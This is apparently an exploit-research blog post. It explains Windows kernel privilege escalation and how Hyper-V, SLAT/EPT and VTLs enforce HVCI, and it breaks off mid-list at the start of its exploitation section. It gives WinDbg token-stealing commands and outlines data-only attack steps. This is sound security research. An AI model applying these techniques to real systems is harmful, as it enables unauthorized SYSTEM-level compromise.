<h2 id="we-guarantee-an-elevated-process-or-your-money-back---the-kernel-exploit-committees-mission-statement">“We <em>guarantee</em> an elevated process, or your money back!” - The Kernel Exploit Committee’s Mission Statement</h2>
<p>Kernel exploits are (usually) <em>locally-executed</em> for local privilege escalation (LPE). Remotely-detonated kernel exploits over a protocol handled in the kernel, such as SMB, are usually more rare - so we will focus on <em>local</em> exploitation.</p>

<p>When locally-executed kernel exploits are exploited, they usually follow the below process (key word here - usually):</p>

<ol>
  <li>The exploit (which usually is a medium-integrity process if executed locally) uses a kernel vulnerability to read and write kernel memory.</li>
  <li>The exploit uses the ability to read/write to overwrite a function pointer in kernel-mode (or finds some other way) to force the kernel to redirect execution into attacker-controlled memory.</li>
  <li>The attacker-controlled memory contains shellcode.</li>
  <li>The attacker-supplied shellcode executes. The shellcode could be used to arbitrarily call kernel-mode APIs, further corrupt kernel-mode memory, or perform <em>token stealing</em> in order to escalate to <code class="language-plaintext highlighter-rouge">NT AUTHORITY\SYSTEM</code>.</li>
</ol>

<p>Since token stealing is extremely prevalent, let’s focus on it.</p>

<p>We can quickly perform token stealing using WinDbg. If we open up an instance of <code class="language-plaintext highlighter-rouge">cmd.exe</code>, we can use the <code class="language-plaintext highlighter-rouge">whoami</code> command to understand which user this Command Prompt is running in context of.</p>

<p><img src="/images/HVCI1.png" alt="" /></p>

<p>Using WinDbg, in a kernel-mode debugging session, we then can locate where in the <code class="language-plaintext highlighter-rouge">EPROCESS</code> structure the <code class="language-plaintext highlighter-rouge">Token</code> member is, using the <code class="language-plaintext highlighter-rouge">dt</code> command. Then, using the WinDbg Debugger Object Model, we then can leverage the following commands to locate the <code class="language-plaintext highlighter-rouge">cmd.exe</code> <code class="language-plaintext highlighter-rouge">EPROCESS</code> object, the System process <code class="language-plaintext highlighter-rouge">EPROCESS</code> object, and their <code class="language-plaintext highlighter-rouge">Token</code> objects.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dx -g @$cursession.Processes.Where(p =&gt; p.Name == "System").Select(p =&gt; new { Name = p.Name, EPROCESS = &amp;p.KernelObject, Token = p.KernelObject.Token.Object})

dx -g @$cursession.Processes.Where(p =&gt; p.Name == "cmd.exe").Select(p =&gt; new { Name = p.Name, EPROCESS = &amp;p.KernelObject, Token = p.KernelObject.Token.Object})
</code></pre></div></div>

<p>The above commands will:</p>

<ol>
  <li>Enumerate all of the current session’s active processes and filter out processes named System (or <code class="language-plaintext highlighter-rouge">cmd.exe</code> in the second command)</li>
  <li>View the name of the process, the address of the corresponding <code class="language-plaintext highlighter-rouge">EPROCESS</code> object, and the <code class="language-plaintext highlighter-rouge">Token</code> object</li>
</ol>

<p>Then, using the <code class="language-plaintext highlighter-rouge">ep</code> command to overwrite a pointer, we can overwrite the <code class="language-plaintext highlighter-rouge">cmd.exe</code> <code class="language-plaintext highlighter-rouge">EPROCESS.Token</code> object with the System <code class="language-plaintext highlighter-rouge">EPROCESS.Token</code> object - which elevates <code class="language-plaintext highlighter-rouge">cmd.exe</code> to <code class="language-plaintext highlighter-rouge">NT AUTHORITY\SYSTEM</code> privileges.</p>

<p><img src="/images/HVCI2.png" alt="" /></p>

<p><img src="/images/HVCI3.png" alt="" /></p>

<p>It is truly a story old as time - and this is what most kernel-mode exploit authors attempt to do. This can usually be achieved through shellcode, which usually looks something like the image below.</p>

<p><img src="/images/HVCI4.png" alt="" /></p>

<p>However, with the advent of HVCI - many exploit authors have moved to <em>data-only</em> attacks, as HVCI prevents unsigned-code execution, like shellcode, from running (we will examine why shortly). These so-called “data-only attacks” may work something like the following, in order to achieve the same thing (token stealing):</p>

<ol>
  <li><code class="language-plaintext highlighter-rouge">NtQuerySystemInformation</code> allows a medium-integrity process to leak any <code class="language-plaintext highlighter-rouge">EPROCESS</code> object. Using this function, an adversary can locate the <code class="language-plaintext highlighter-rouge">EPROCESS</code> object of the exploiting process and the System process.</li>
  <li>Using a kernel-mode arbitrary write primitive, an adversary can then copy the token of the System process over the exploiting process, just like before when we manually performed this in WinDbg, simply using the write primitive.</li>
</ol>

<p>This is all fine and well - but the issue resides in the fact an adversary would be limited to hot-swapping tokens. The beauty of detonating unsigned code is the extensibility to not only perform token stealing, but to also invoke arbitrary kernel-mode APIs as well. Most exploit writers sell themselves short (myself included) by stopping at token stealing. Depending on the use case, “vanilla” escalation to <code class="language-plaintext highlighter-rouge">NT AUTHORITY\SYSTEM</code> privileges may not be what a sophisticated adversary wants to do with kernel-mode code execution.</p>

<p>A much more powerful primitive, besides being limited to <em>only</em> token stealing, would be if we had the ability to turn our arbitrary read/write primitive into the ability to call <em>any</em> kernel-mode API of our choosing! This could allow us to allocate pool memory, unload a driver, and much more - with the only caveat being that we stay “HVCI compliant”. Let’s focus on that “HVCI compliance” now to see how it affects our exploitation.</p>

<blockquote>
  <p>Note that the next three sections contain an explanation of some basic virtualization concepts, along with VBS/HVCI. If you are familiar, feel free to skip to the <em>From Read/Write To Arbitrary Kernel-Mode Function Invocation</em> section of this blog post to go straight to exploitation.</p>
</blockquote>

<h2 id="hypervisor-protected-code-integrity-hvci---what-is-it">Hypervisor-Protected Code Integrity (HVCI) - What is it?</h2>
<p>HVCI, at a high level, is a technology on Windows systems that prevents attackers from executing unsigned-code in the Windows kernel by essentially preventing readable, writable, and executable memory (RWX) in kernel mode. If an attacker cannot write to an executable code page - they cannot place their shellcode in such pages. On top of that, if attackers cannot force data pages (which are writable) to become code pages - said pages which hold the malicious shellcode can never be executed.</p>

<p>How is this manifested? HVCI leverages existing virtualization capabilities provided by the CPU and the Hyper-V hypervisor. If we want to <em>truly</em> understand the power of HVCI it is first worth taking a look at some of the virtualization technologies that allow HVCI to achieve its goals.</p>

<h2 id="hyper-v-101">Hyper-V 101</h2>
<p>Before prefacing this section (and the next two sections), all information provided can be found within <em>Windows Internals 7th Edition: Part 2</em>, <em>Intel 64 and IA-32 Architectures Software Manual, Combined Volumes</em>, and <em>Hypervisor Top Level Functional Specification</em>.</p>

<p>Hyper-V is Microsoft’s hypervisor. Hyper-V uses <em>partitions</em> for virtualization purposes. The host operating system is the <em>root</em> partition and <em>child</em> partitions are partitions that are allocated to host a virtual machine. When you create a Hyper-V virtual machine, you are allocating some system resources to create a child partition for the VM. This includes its own physical address space, virtual processors, virtual hard disk, etc. Creating a child partition creates a boundary between the root and child partition(s) - where the child partition is placed in its own address space, and is isolated. This means one virtual machine can’t “touch” other virtual machines, or the host, as the virtual machines are isolated in their own address space.</p>

<p><img src="/images/HVCI5.png" alt="" /></p>

<p>Among the technologies that help augment this isolation is Second Layer Address Translation, or SLAT. SLAT is what actually allows each VM to run in its own address space in the eyes of the hypervisor. Intel’s implementation of SLAT is known as <em>Extended Page Tables</em>, or EPT.</p>

<p>At a basic level, SLAT (EPT) allows the hypervisor to create an additional <em>translation</em> of memory - giving the hypervisor power to delegate memory how it sees fit.</p>

<p>When a virtual machine needs to access physical memory (the virtual machine could have accessed virtual memory within the VM which then was translated into physical memory under the hood), with EPT enabled, the hypervisor will tell the CPU to essentially “intercept” this request. The CPU will translate the memory the virtual machine is <em>trying</em> to access into <em>actual</em> physical memory.</p>

<p>The virtual machine doesn’t know the layout of the physical memory of the host OS, nor does it “see” the actual pages. The virtual machine operates on memory identically to how a normal system would - translating virtual addresses to physical addresses. However, behind the scenes, there is another technology (SLAT) which facilitates the process of taking the physical address the virtual machine <em>thinks</em> it is accessing and translating said physical memory into the <em>actual</em> physical memory on the physical computer - with the VM just operating as normal. Since the hypervisor, with SLAT enabled, is aware of both the virtual machine’s “view” of memory <em>and</em> the physical memory on the host - it can act as arbitrator to translate the memory the VM is accessing into the actual physical memory on the computer (we will come to a visual shortly if this is a bit confusing).</p>

<p>It is worth investigating <em>why</em> the hypervisor needs to perform this additional layer of translation in order to not only understand basic virtualization concepts - but to see how HVCI leverages SLAT for security purposes.</p>

<p>As an example - let’s say a virtual machine tries to access the virtual address <code class="language-plaintext highlighter-rouge">0x1ad0000</code> within the VM - which (for argument’s sake) corresponds to the physical memory address <code class="language-plaintext highlighter-rouge">0x1000</code> in the VM. Right off the bat we have to consider that all of this is happening within a <em>virtual machine</em> - which runs on the physical computer in a pre-defined location in memory on that physical computer (a child partition in a Hyper-V setup).</p>

<p>The VM can only access its own “view” of what it thinks the physical address <code class="language-plaintext highlighter-rouge">0x1000</code> is. The physical location in memory (since VMs run on a physical computer, they use the physical computer’s memory) where the VM is accessing (what it thinks is <code class="language-plaintext highlighter-rouge">0x1000</code>) is likely not going to be located at <code class="language-plaintext highlighter-rouge">0x1000</code> on the physical computer itself. This can be seen below (please note that the below is just a visual representation, and may not represent things like memory fragmentation, etc.).</p>

<p><img src="/images/HVCI6a.png" alt="" /></p>

<p>In the above image, the physical address of the VM located at <code class="language-plaintext highlighter-rouge">0x1000</code> is stored at the physical address of <code class="language-plaintext highlighter-rouge">0x4000</code> on the physical computer. So when the VM needs to access what it thinks is <code class="language-plaintext highlighter-rouge">0x1000</code>, it <em>actually</em> needs to access the contents of <code class="language-plaintext highlighter-rouge">0x4000</code> on the physical computer.</p>

<p>This creates an issue, as the VM not only needs to compensate for “normal” paging to come to the conclusion that the virtual address in the VM, <code class="language-plaintext highlighter-rouge">0x1ad0000</code>, corresponds to the physical address <code class="language-plaintext highlighter-rouge">0x1000</code> - but something needs to compensate for the fact that when the VM tries to access the physical address <code class="language-plaintext highlighter-rouge">0x1000</code> that the memory contents of <code class="language-plaintext highlighter-rouge">0x1000</code> (in context of the VM) are <em>actually</em> stored somewhere in the memory of the physical computer the VM is running on (in this case <code class="language-plaintext highlighter-rouge">0x4000</code>).</p>

<p>To address this, the following happens: the VM walks the paging structures, starting with the base paging structure, PML4, in the CR3 CPU register within the VM (as is typical in “normal” memory access). Through paging, the VM would eventually come to the conclusion that the virtual address <code class="language-plaintext highlighter-rouge">0x1ad0000</code> corresponds to the physical address <code class="language-plaintext highlighter-rouge">0x1000</code>. However, we know this isn’t the end of the conversion because although <code class="language-plaintext highlighter-rouge">0x1000</code> exists in context of the VM as <code class="language-plaintext highlighter-rouge">0x1000</code>, that memory stored there is stored somewhere else in the physical memory of the physical computer (in this case <code class="language-plaintext highlighter-rouge">0x4000</code>).</p>

<p>With SLAT enabled the physical address in the VM (<code class="language-plaintext highlighter-rouge">0x1000</code>) is treated as a <em>guest physical address</em>, or GPA, by the hypervisor. Virtual machines emit GPAs, which then are converted into a <em>system physical address</em>, or SPA, by the physical CPU. SPAs refer to the actual physical memory on the physical computer the VM(s) is/are running on.</p>

<p>The way this is done is through <em>another</em> set of paging structures called <em>extended page tables</em> (EPTs). The base paging structure for the extended page tables is known as the EPT PML4 structure - similarly to a “traditional” PML4 structure. As we know, the PML4 structure is used to further identify the other paging structures - which eventually lead to a 4KB-aligned physical page (on a typical Windows system). The same is true for the EPT PML4 - but instead of being used to convert a virtual address into a physical one, the EPT PML4 is the base paging structure used to map a VM-emitted guest physical address into a system physical address.</p>

<p>The EPT PML4 structure is referenced by a pointer known as the <em>Extended Page Table Pointer</em>, or EPTP. An EPTP is stored in a per-VCPU (virtual processor) structure called the <em>Virtual Machine Control Structure</em>, or VMCS. The VMCS holds various information, including state information about a VM and the host. The EPTP can be used to start the process of converting GPAs to SPAs for a given virtual machine. Each virtual machine has an associated EPTP.</p>

<p>To map guest physical addresses (GPAs) to system physical addresses (SPAs), the CPU “intercepts” a GPA emitted from a virtual machine. The CPU then takes the guest physical address (GPA) and uses the extended page table pointer (EPTP) from the VMCS structure for the virtual CPU the virtual machine is running under, and it uses the extended page tables to map the GPA to a system physical address (SPA).</p>

<p><img src="/images/HVCI7.png" alt="" /></p>

<p>The above process allows the hypervisor to map what physical memory the guest VM is <em>actually</em> trying to access, due to the fact the VM only has access to its own allocated address space (like when a child partition is created for the VM to run in).</p>

<p>The page table entries within the extended page tables are known as <em>extended page table entries</em>, or EPTEs. These act essentially the same as “traditional” PTEs - except for the fact that EPTEs are used to translate a GPA into an SPA - instead of translating a virtual address into a physical one (along with some other nuances). What this also means is that EPTEs are only used to describe physical memory (guest physical addresses and system physical addresses).</p>

<p>The reason why EPTEs only describe physical memory is pretty straightforward. The “normal” page table entries (PTEs) are already used to map virtual memory to physical memory - and they are also used to describe virtual memory. Think about a normal PTE structure - it stores some information which describes a given virtual page (readable, writable, etc.) and it <em>also</em> contains a page frame number (PFN) which, when multiplied by the size of a page (usually <code class="language-plaintext highlighter-rouge">0x1000</code>), gives us the physical page backing the virtual memory. This means we already have a mechanism to map virtual memory to physical memory - so the EPTEs are used for GPAs and SPAs (physical memory).</p>

<p>Another interesting side effect of only applying EPTEs to physical memory is the fact that physical memory <em>trumps</em> virtual memory (we will talk more about how this affects traditional PTEs later and the level of enforcement on memory PTEs have when coupled with EPTEs).</p>

<p>For instance, if a given virtual page is marked as readable/writable/executable in its PTE - but the <em>physical</em> page backing that virtual page is described as only readable - any attempt to execute and/or write to the page will result in an access violation. Since the EPTEs describe physical memory and are managed by the hypervisor, the hypervisor can enforce its “view” of memory leveraging EPTEs - meaning that the hypervisor ultimately can decide how a given page of RAM should be defined. This is the key tenet of HVCI.</p>

<p>Think back to our virtual machine to physical machine example. The VM has its own view of memory, but ultimately the hypervisor had the “supreme” view of memory. It understands where the VM <em>thinks</em> it is accessing and it can correlate that to the <em>actual</em> place in memory on the physical computer. In other words, the hypervisor contains the “ultimate” view of memory.</p>

<p>Now, I am fully aware a lot of information has been mentioned above. At a high level, we should walk away with the following knowledge:</p>
<ol>
  <li>It is possible to isolate a virtual machine in its own address space.</li>
  <li>It is possible to abstract the physical memory that truly exists on the host operating system away from the virtual machine.</li>
  <li>Physical memory trumps virtual memory (if virtual memory is read/write and the physical memory is read-only, any write to the region will cause an access violation).</li>
  <li>EPTEs facilitate the “supreme” view of memory, and have the “final say”.</li>
</ol>

<p>The above concepts are the basis for HVCI (which we will expand upon in the next section).</p>

<p>Before leaving this section of the blog post - we should recall what was said earlier about HVCI:</p>

<blockquote>
  <p>HVCI is a feature under the umbrella of all that VBS offers (Credential Guard, etc.).</p>
</blockquote>

<p>What this means is that Virtualization-Based Security is responsible for enabling HVCI. Knowing that VBS is responsible for enabling HVCI (should it be enabled on the host operating system which, as of Windows 11 and Windows 10 “Secured Core” PCs, it is by default), the last thing we need to look at is how VBS takes advantage of all of these virtualization technologies we have touched on in order to instrument HVCI.</p>

<h2 id="virtualization-based-security">Virtualization-Based Security</h2>
<p>With Virtualization-Based Security enabled, the Windows operating system runs in a “virtual machine”, of sorts. Although Windows isn’t placed into a child partition, meaning it doesn’t have a VHD, or virtual hard disk - the hypervisor, at boot, makes use of all of the aforementioned principles and technologies to isolate the “standard” Windows kernel (e.g. what the end-user interfaces with) in its own region, similarly to how a VM is isolated. This isolation is manifest through <em>Virtual Trust Levels</em>, or VTLs. Currently there are two Virtual Trust Levels - VTL 1, which hosts the “secure kernel” and VTL 0, which hosts the “normal kernel” - with the “normal kernel” being what end-users interact with. Both of these VTLs are located in the root partition. You can think of these two VTLs as “isolated virtual machines”.</p>

<p><img src="/images/HVCI6.png" alt="" /></p>

<p>VTLs, similarly to virtual machines, provide isolation between the two environments (in this case between the “secure kernel” and the “normal kernel”). Microsoft considers the “secure” environment, VTL 1, to be a “more privileged entity” than VTL 0 - with VTL 0 being what a normal user interfaces with.</p>

<p>The goal of the VTLs is to create a higher security boundary (VTL 1) where if a normal user exploits a vulnerability in the kernel of VTL 0 (where all users are executing, only Microsoft is allowed in VTL 1), they are limited to only VTL 0. Historically, however, if a user compromised the Windows kernel, there was nothing else to protect the integrity of the system - as the kernel was the highest security boundary. Now, since VTL 1 is of a “higher boundary” than VTL 0 - even if a user exploits the kernel in VTL 0, there is still a component of the system that is totally isolated (VTL 1) from where the malicious user is executing (VTL 0).</p>

<p>It is crucial to remember that although VTL 0 is a “lower security boundary” than VTL 1 - VTL 0 doesn’t “live” in VTL 1. VTL 0 and VTL 1 are two <em>separate</em> entities - just as two virtual machines are two separate entities. On the same note - it is also crucial to remember that VBS doesn’t actually <em>create</em> virtual machines - VBS leverages the virtualization technologies that a hypervisor may employ for virtual machines in order to isolate VTL 0 and VTL 1. Microsoft instruments these virtualization technologies in such a way that, although VTL 1 and VTL 0 are separated like virtual machines, VTL 1 is allowed to impose its “will” on VTL 0. When the system boots, and the “secure” and “normal” kernels are loaded - VTL 1 is then allowed to “ask” the hypervisor, through a mechanism called a <em>hypercall</em> (more on this later in the blog post), if it can “securely configure” VTL 0 (which is what the normal user will be interfacing with) in a way it sees fit, when it comes to HVCI. VTL 1 can impose its will on VTL 0 - but it goes through the hypervisor to do this. To summarize - VTL 1 isn’t the hypervisor, and VTL 0 doesn’t live in VTL 1. VTL 1 works with the hypervisor to configure VTL 0 - and all three are their own separate entities. The following image is from <em>Windows Internals, Part 1, 7th Edition</em> - which visualizes this concept.</p>

<p><img src="/images/HVCI6aa.png" alt="" /></p>

<p>We’ve talked a lot now on SLAT and VTLs - let’s see how these technologies are both used to enforce HVCI.</p>

<p>After the “secure” and “normal” kernels are loaded - execution eventually redirects to the entry point of the “secure” kernel, in VTL 1. The secure kernel will set up SLAT/EPT, by asking the hypervisor to create a series of extended page table entries (EPTEs) for VTL 0 through the hypercall mechanism (more on this later). We can think of this as if we are treating VTL 0 as “the guest virtual machine” - just like how the hypervisor would treat a “normal” virtual machine. The hypervisor would set up the necessary EPTEs that would be used to map the guest physical addresses generated from a virtual machine into actual physical memory (system physical addresses). However, let’s recall the architecture of the root partition when VTLs are involved.</p>

<p><img src="/images/HVCI6.png" alt="" /></p>

<p>As we can see, both VTL 1 and VTL 0 reside within the root partition. This means that, theoretically, both VTL 1 and VTL 0 have access to the physical memory on the physical computer. At this point you may be wondering - if both VTL 1 and VTL 0 reside within the <em>same</em> partition - how is there any separation of address space/privileges? VTL 0 and VTL 1 seem to share the same physical address space. This is where virtualization comes into play!</p>

<p>Microsoft leverages all of the virtualization concepts we have previously talked about, and essentially places VTL 1 and VTL 0 into “VMs” (logically speaking) in which VTL 0 is isolated from VTL 1, and VTL 1 has control over VTL 0 - with this architecture being the basis of HVCI (more on the technical details shortly).</p>

<p>If we treat VTL 0 as “the guest” we then can use the hypervisor and CPU to translate addresses requested from VTL 0 (the hypervisor “manages” the EPTEs but the CPU performs the actual translation). Since GPAs are “intercepted”, in order for them to be converted into SPAs, this provides a mechanism (via SLAT) to “intercept” or “gate” any memory access stemming from VTL 0.</p>

<p><img src="/images/HVCI8.png" alt="" /></p>

<p>Here is where things get very interesting. Generally speaking, the GPAs emitted by VTL 0 actually <em>map</em> to the <em>same</em> physical memory on the system.</p>

<p>Let’s say VTL 0 requests to access the physical address <code class="language-plaintext highlighter-rouge">0x1000</code>, as a result of a virtual address within VTL 0 being translated to the physical address <code class="language-plaintext highlighter-rouge">0x1000</code>. The address of the GPA, which is <code class="language-plaintext highlighter-rouge">0x1000</code>, is still located at an SPA of <code class="language-plaintext highlighter-rouge">0x1000</code>. This is due to the fact that virtual machines, in Hyper-V, are confined to their respective <em>partitions</em> - and since VTL 1 and VTL 0 live in the same partition (the root), they “share” the same physical memory address space (which is the actual physical memory on the system).</p>

<p>So, since EPT (with HVCI enabled) isn’t used to “find” the physical address a GPA corresponds to on the system - due to the GPAs and SPAs mapping to the same physical address - what on earth could they be used for?</p>

<p>Instead of using extended page table entries to traverse the extended page tables in order to map one GPA to another SPA, the EPTEs are instead used to create a “second view” of memory - with this view describing all of RAM as either readable and writable (RW) but <em>not</em> executable - or readable and executable - but <em>not writable</em>, when dealing with HVCI. This ensures that <em>no</em> pages exist in the kernel which are writable <em>and</em> executable at the same time - which is a requirement for unsigned-code!</p>

<p>Recall that EPTEs are used to describe each physical page. Just as a virtual machine has its own view of memory, VTL 0 also has its own view of memory, which it manages through standard, normal PTEs. The key to remember, however, is that at boot - code in VTL 1 works with the hypervisor to create EPTEs which have the <em>true</em> definition of memory - while the OS in VTL 0 only has its view of memory. The hypervisor’s view of memory is “supreme” - as the hypervisor is a “higher security boundary” than the kernel, which historically managed memory. This, as mentioned, essentially creates two “mappings” of the <em>actual</em> physical memory on the system - one is managed by the Windows kernel in VTL 0, through traditional page table entries, and the other is managed by the hypervisor using extended page table entries.</p>

<p>Since we know EPTEs are used to describe <em>physical</em> memory, this can be used to override any protections that are set by the “traditional” PTEs themselves in VTL 0. And since the hypervisor’s view of virtual memory trumps the OS (in VTL 0) view - HVCI leverages the fact that since the EPTEs are managed by a more “trusted” boundary, the hypervisor, they are immutable in context of VTL 0 - where the normal users live.</p>

<p>As an example, let’s say you use the <code class="language-plaintext highlighter-rouge">!pte</code> command in WinDbg to view the PTE for a given virtual memory address in VTL 0, and WinDbg says that page is readable, writable, and executable. However, the EPTE (which is <em>not</em> transparent to VTL 0) <em>may actually</em> describe the physical page backing that virtual address as only readable. This means the page would be <em>only readable</em> - even though the PTE in VTL 0 says otherwise!</p>

<p>HVCI leverages SLAT/EPT in order to ensure that there are no pages in VTL 0 which can be abused to execute unsigned-code (by enforcing the aforementioned principles on RWX memory). It does this by guaranteeing that code pages never become writable - or that data pages never become executable. You can think of EPTEs being used (with HVCI) to basically create an additional “mapping” of memory, with all memory being either <code class="language-plaintext highlighter-rouge">RW-</code> or <code class="language-plaintext highlighter-rouge">R-X</code>, and with this “mapping” of memory trumping the “normal” enforcement of memory through normal PTEs. The EPTE “view” of memory is the “root of trust” now. These EPTEs are managed by the hypervisor, which VTL 0 cannot touch.</p>

<p>We know now that the EPTEs have the “true” definition of memory - so a logical question would now be “how does the request, from the OS, to setup an EPTE work if the EPTEs are managed by the hypervisor?” As an example, let’s examine how boot-loaded drivers have their memory protected by HVCI (the process of loading runtime drivers is different - but the mechanism (which is a hypercall - more on this later), used to apply SLAT page protections remains the same for runtime drivers and boot-loaded drivers).</p>

<p>We know that VTL 1 performs the request for the configuration of EPTEs in order to configure VTL 0 in accordance with HVCI (no memory that is writable and executable). This means that <code class="language-plaintext highlighter-rouge">securekernel.exe</code> - which is the “secure kernel” running in VTL 1 - must be responsible for this. Cross referencing the <strong>VSM startup</strong> section of <em>Windows Internals</em>, we can observe the following:</p>

<blockquote>
  <p>… Starts the VTL secure memory manager, which creates the boot table mapping and maps the boot loader’s memory in VTL 1, creates the secure PFN database and system hyperspace, initializes the secure memory pool support, and reads the VTL 0 loader block to copy the module descriptors for the Secure Kernel’s imported images (<code class="language-plaintext highlighter-rouge">Skci.dll</code>, <code class="language-plaintext highlighter-rouge">Cnf.sys</code>, and <code class="language-plaintext highlighter-rouge">Vmsvcext.sys</code>). <strong>It finally walks the NT loaded module list to establish each driver state, creating a NAR (normal address range) data structure for each one and compiling an Normal Table Entry (NTE) for every page composing the boot driver’s sections. FURTHERMORE, THE SECURE MEMORY MANAGER INITIALIZATION FUNCTION APPLIES THE CORRECT VTL 0 SLAT PROTECTION TO EACH DRIVER’S SECTIONS.</strong></p>
</blockquote>

<p>Let’s start with the “secure memory manager initialization function” - which is <code class="language-plaintext highlighter-rouge">securekernel!SkmmInitSystem</code>.</p>

<p><img src="/images/HVCIMM1.png" alt="" /></p>

<p><code class="language-plaintext highlighter-rouge">securekernel!SkmmInitSystem</code> performs a multitude of things, as seen in the quote from <em>Windows Internals</em>. Towards the end of the function, the memory manager initialization function calls <code class="language-plaintext highlighter-rouge">securekernel!SkmiConfigureBootDriverPages</code> - which eventually “applies the correct VTL 0 SLAT protection to each [boot-loaded] driver’s sections”.</p>

<p><img src="/images/HVCIMM2.png" alt="" /></p>

<p>There are a few code paths which can be taken within <code class="language-plaintext highlighter-rouge">securekernel!SkmiConfigureBootDriverPages</code> to configure the VTL 0 SLAT protection for HVCI - but the overall “gist” is:</p>

<ol>
  <li>Check if HVCI is enabled (via <code class="language-plaintext highlighter-rouge">SkmiFlags</code>).</li>
  <li>If HVCI is enabled, apply the appropriate protection.</li>
</ol>

<p>As mentioned in <em>Windows Internals</em>, each of the boot-loaded drivers has each section (<code class="language-plaintext highlighter-rouge">.text</code>, etc.) protected by HVCI. This is done by iterating through each section of the boot-loaded drivers and applying the correct VTL 0 permissions. In the specific code path shown below, this is done via the function <code class="language-plaintext highlighter-rouge">securekernel!SkmiProtectSinglePage</code>.</p>

<p><img src="/images/HVCIMM3.png" alt="" /></p>

<p>Notice that <code class="language-plaintext highlighter-rouge">securekernel!SkmiProtectSinglePage</code> has its second argument as <code class="language-plaintext highlighter-rouge">0x102</code>. Examining <code class="language-plaintext highlighter-rouge">securekernel!SkmiProtectSinglePage</code> a bit further, we can see that this function (in the particular manner <code class="language-plaintext highlighter-rouge">securekernel!SkmiProtectSinglePage</code> is called within <code class="language-plaintext highlighter-rouge">securekernel!SkmiConfigureBootDriverPages</code>) will call <code class="language-plaintext highlighter-rouge">securekernel!ShvlProtectContiguousPages</code> under the hood.</p>

<p><img src="/images/HVCIMM4.png" alt="" /></p>

<p><code class="language-plaintext highlighter-rouge">securekernel!ShvlProtectContiguousPages</code> is called because if the <code class="language-plaintext highlighter-rouge">if ((a2 &amp; 0x100) != 0)</code> check is satisfied in the above function call (and it will be satisfied, because the provided argument was <code class="language-plaintext highlighter-rouge">0x102</code> - which, when bitwise AND’d with <code class="language-plaintext highlighter-rouge">0x100</code>, does <em>not</em> equal 0), the function that will be called is <code class="language-plaintext highlighter-rouge">securekernel!ShvlProtectContiguousPages</code>. The last argument provided to <code class="language-plaintext highlighter-rouge">securekernel!ShvlProtectContiguousPages</code> is the appropriate protection mask for the VTL 0 page. Remember - this code is executing in VTL 1, and VTL 1 is allowed to configure the “true” memory permission (via EPTEs) VTL 0 as it sees fit.</p>

<p><code class="language-plaintext highlighter-rouge">securekernel!ShvlProtectContiguousPages</code>, under the hood, invokes a function called <code class="language-plaintext highlighter-rouge">securekernel!ShvlpProtectPages</code> - essentially acting as a “wrapper”.</p>

<p><img src="/images/HVCIMM5.png" alt="" /></p>

<p>Looking deeper into <code class="language-plaintext highlighter-rouge">securekernel!ShvlpProtectPages</code>, we notice some interesting functions with the word “hypercall” in them.</p>

<p><img src="/images/HVCIMM6.png" alt="" /></p>

<p><img src="/images/HVCIMM7.png" alt="" /></p>

<p>Grabbing one of these functions (<code class="language-plaintext highlighter-rouge">securekernel!ShvlpInitiateVariableHypercall</code> will be used, as we will see later), we can see it is a wrapper for <code class="language-plaintext highlighter-rouge">securekernel!HvcallpInitiateHypercall</code> - which ends up invoking <code class="language-plaintext highlighter-rouge">securekernel!HvcallCodeVa</code>.</p>

<p><img src="/images/HVCIMM8.png" alt="" /></p>

<p><img src="/images/HVCIMM9.png" alt="" /></p>

<p>I won’t get into the <a href="https://msrc-blog.microsoft.com/2018/12/10/first-steps-in-hyper-v-research/">internals</a> of this <a href="https://www.alex-ionescu.com/?p=471">function</a> - but <code class="language-plaintext highlighter-rouge">securekernel!HvcallCodeVa</code> emits a <code class="language-plaintext highlighter-rouge">vmcall</code> assembly instruction - which is like a “Hyper-V <code class="language-plaintext highlighter-rouge">syscall</code>”, called a “hypercall”. This instruction will hand execution off to the hypervisor. Hypercalls can be made by both VTL 1 and VTL 0.</p>

<p>When a hypercall is made, the “hypercall call code” (similar to a <code class="language-plaintext highlighter-rouge">syscall</code> ID) is placed into RCX in the lower 16 bits. Additional values are appended in the RCX register, as defined by the <a href="https://docs.microsoft.com/en-us/virtualization/hyper-v-on-windows/reference/tlfs">Hypervisor Top-Level Functional Specification</a>, known as the “hypercall input value”.</p>

<p><img src="/images/HVCIMM10.png" alt="" /></p>

<p><img src="/images/HVCIMM11.png" alt="" /></p>

<p>Each hypercall returns a “hypercall status code” - which is a 16-byte value (whereas NTSTATUS codes are 32-bit). For instance, a code of <code class="language-plaintext highlighter-rouge">HV_STATUS_SUCCESS</code> means that the hypercall completed successfully.</p>

<p>Specifically, in our case, the hypercall call code associated with <code class="language-plaintext highlighter-rouge">securekernel!ShvlpProtectPages</code> is <code class="language-plaintext highlighter-rouge">0xC</code>.</p>

<p><img src="/images/HVCIMM11a.png" alt="" /></p>

<p>If we cross reference this hypercall call code with the the <em>Appendix A: Hypercall Code Reference</em> of the TLFS - we can see that <code class="language-plaintext highlighter-rouge">0xC</code> corresponds with the <code class="language-plaintext highlighter-rouge">HvCallModifyVtlProtectionMask</code> - which makes sense based on the operation we are trying to perform. This hypercall will “configure” an immutable memory protection (SLAT protection) on the in-scope page (in our scenario, a page within one of the boot-loaded driver’s sections), in context of VTL 0.</p>

<p><img src="/images/HVCIMM12.png" alt="" /></p>

<p>We can also infer, based on the above image, that this isn’t a fast call, but a <em>rep</em> (repeat) call. Repeat hypercalls are broken up into a “series” of hypercalls because hypercalls only have a 50 microsecond interval to finish before other components (interrupts for instance) need to be serviced. Repeated hypercalls will eventually be finished when the thread executing the hypercall resumes.</p>

<p>To summarize this section - with HVCI there are two views of memory - one managed by the hypervisor, and one managed by the Windows kernel through PTEs. Not only does the hypervisor’s view of memory trump the Windows kernel view of memory - but the hypervisor’s view of memory is immutable from the “normal” Windows kernel. An attacker, even with a kernel-mode write primitive, cannot modify the permissions of a page through PTE manipulation anymore.</p>

<p>Let’s actually get into our exploitation to test these theories out.</p>

<h2 id="hvci---exploitation-edition">HVCI - Exploitation Edition</h2>
<p>As I have <a href="https://connormcgarr.github.io/cve-2020-21551-sploit/">blogged</a> about <a href="https://connormcgarr.github.io/pte-overwrites/">before</a>, a common way kernel-mode exploits manifest themselves is the following (leveraging an arbitrary read/write primitive):</p>

<ol>
  <li>Write a kernel-mode payload to kernel mode (could be <code class="language-plaintext highlighter-rouge">KUSER_SHARED_DATA</code>) or user mode.</li>
  <li>Locate the page table entry that corresponds to that page the payload resides.</li>
  <li>Corrupt that page table entry to mark the page as KRWX (kernel, read, write, and execute).</li>
